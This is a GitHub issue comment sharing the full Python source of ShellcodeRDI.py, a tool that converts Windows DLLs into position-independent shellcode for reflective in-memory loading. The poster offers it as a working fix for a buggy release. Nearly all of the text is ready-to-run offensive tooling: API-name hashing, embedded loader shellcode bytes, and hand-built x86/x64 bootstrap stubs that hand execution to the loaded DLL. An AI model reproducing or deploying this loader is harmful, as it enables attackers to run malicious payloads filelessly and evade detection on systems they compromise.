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Sh0ckFR avatar Sh0ckFR commented on August 15, 2024

Okay, one of my superhero contacts sent me a version of ShellcodeRDI.py that works correctly, I think the latest version is buggy, this one works correctly:

import sys

if sys.version_info < (3,0):
    print("[!] Sorry, requires Python 3.x")
    sys.exit(1)
    
import struct
from struct import pack

MACHINE_IA64=512
MACHINE_AMD64=34404

def is64BitDLL(bytes):
    header_offset = struct.unpack("<L", bytes[60:64])[0]
    machine = struct.unpack("<H", bytes[header_offset+4:header_offset+4+2])[0]
    if machine == MACHINE_IA64 or machine == MACHINE_AMD64:
        return True   
    return False
    
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def HashFunctionName(name, module = None):

        function = name.encode() + b'\x00'

        if(module):
                module = module.upper().encode('UTF-16LE') + b'\x00\x00'

                functionHash = 0

                for b in function:
                        functionHash = ror(functionHash, 13, 32)
                        functionHash += b

                moduleHash = 0

                for b in module:
                        moduleHash = ror(moduleHash, 13, 32)
                        moduleHash += b

                functionHash += moduleHash

                if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000

        else:
                functionHash = 0

                for b in function:
                        functionHash = ror(functionHash, 13, 32)
                        functionHash += b

        return functionHash

def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):

    #MARKER:S
    rdiShellcode32 = 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    rdiShellcode64 = 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24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3'
    #MARKER:E
    
    if is64BitDLL(dllBytes):

        rdiShellcode = rdiShellcode64

        bootstrap = b''
        bootstrapSize = 64

        # call next instruction (Pushes next instruction address to stack)
        bootstrap += b'\xe8\x00\x00\x00\x00'

        # Set the offset to our DLL from pop result
        dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)

        # pop rcx - Capture our current location in memory
        bootstrap += b'\x59'

        # mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
        bootstrap += b'\x49\x89\xc8'

        # add rcx, <Offset of the DLL>
        bootstrap += b'\x48\x81\xc1'
        bootstrap += pack('I', dllOffset)

        # mov edx, <Hash of function>
        bootstrap += b'\xba'
        bootstrap += pack('I', functionHash)

        # Setup the location of our user data
        # add r8, <Offset of the DLL> + <Length of DLL>
        bootstrap += b'\x49\x81\xc0'
        userDataLocation = dllOffset + len(dllBytes)
        bootstrap += pack('I', userDataLocation)

        # mov r9d, <Length of User Data>
        bootstrap += b'\x41\xb9'
        bootstrap += pack('I', len(userData))

        # push rsi - save original value
        bootstrap += b'\x56'

        # mov rsi, rsp - store our current stack pointer for later
        bootstrap += b'\x48\x89\xe6'

        # and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
        bootstrap += b'\x48\x83\xe4\xf0'

        # sub rsp, 0x30 - Create some breathing room on the stack 
        bootstrap += b'\x48\x83\xec'
        bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment

        # mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
        bootstrap += b'\xC7\x44\x24'
        bootstrap += b'\x20'
        bootstrap += pack('I', flags)

        # call - Transfer execution to the RDI
        bootstrap += b'\xe8'
        bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
        bootstrap += b'\x00\x00\x00'

        # mov rsp, rsi - Reset our original stack pointer
        bootstrap += b'\x48\x89\xf4'

        # pop rsi - Put things back where we left them
        bootstrap += b'\x5e'

        # ret - return to caller
        bootstrap += b'\xc3'

        if len(bootstrap) != bootstrapSize:
            raise Exception("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))

        # Ends up looking like this in memory:
        # Bootstrap shellcode
        # RDI shellcode
        # DLL bytes
        # User data
        return bootstrap + rdiShellcode + dllBytes + userData

    else: # 32 bit
        rdiShellcode = rdiShellcode32

        bootstrap = b''
        bootstrapSize = 49

        # call next instruction (Pushes next instruction address to stack)
        bootstrap += b'\xe8\x00\x00\x00\x00'

        # Set the offset to our DLL from pop result
        dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)

        # pop eax - Capture our current location in memory
        bootstrap += b'\x58'

        # push ebp
        bootstrap += b'\x55'

        # mov ebp, esp
        bootstrap += b'\x89\xe5'

        # mov edx, eax - copy our location in memory to ebx before we start modifying eax
        bootstrap += b'\x89\xc2'

        # add eax, <Offset to the DLL>
        bootstrap += b'\x05'
        bootstrap += pack('I', dllOffset)

        # add edx, <Offset to the DLL> + <Size of DLL>
        bootstrap += b'\x81\xc2'
        userDataLocation = dllOffset + len(dllBytes)
        bootstrap += pack('I', userDataLocation)

        # push <Flags>
        bootstrap += b'\x68'
        bootstrap += pack('I', flags)

        # push <Length of User Data>
        bootstrap += b'\x68'
        bootstrap += pack('I', len(userData))

        # push edx
        bootstrap += b'\x52'

        # push <hash of function>
        bootstrap += b'\x68'
        bootstrap += pack('I', functionHash)

        # push eax
        bootstrap += b'\x50'

        # call - Transfer execution to the RDI
        bootstrap += b'\xe8'
        bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
        bootstrap += b'\x00\x00\x00'

        # add esp, 0x14 - remove arguments from stack (cdecl)
        bootstrap += b'\x83\xc4\x14'

        # leave
        bootstrap += b'\xc9'

        # ret - return to caller
        bootstrap += b'\xc3'

        if len(bootstrap) != bootstrapSize:
            raise Exception("x86 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))

        # Ends up looking like this in memory:
        # Bootstrap shellcode
        # RDI shellcode
        # DLL bytes
        # User data
        return bootstrap + rdiShellcode + dllBytes + userData

    return False

from srdi.

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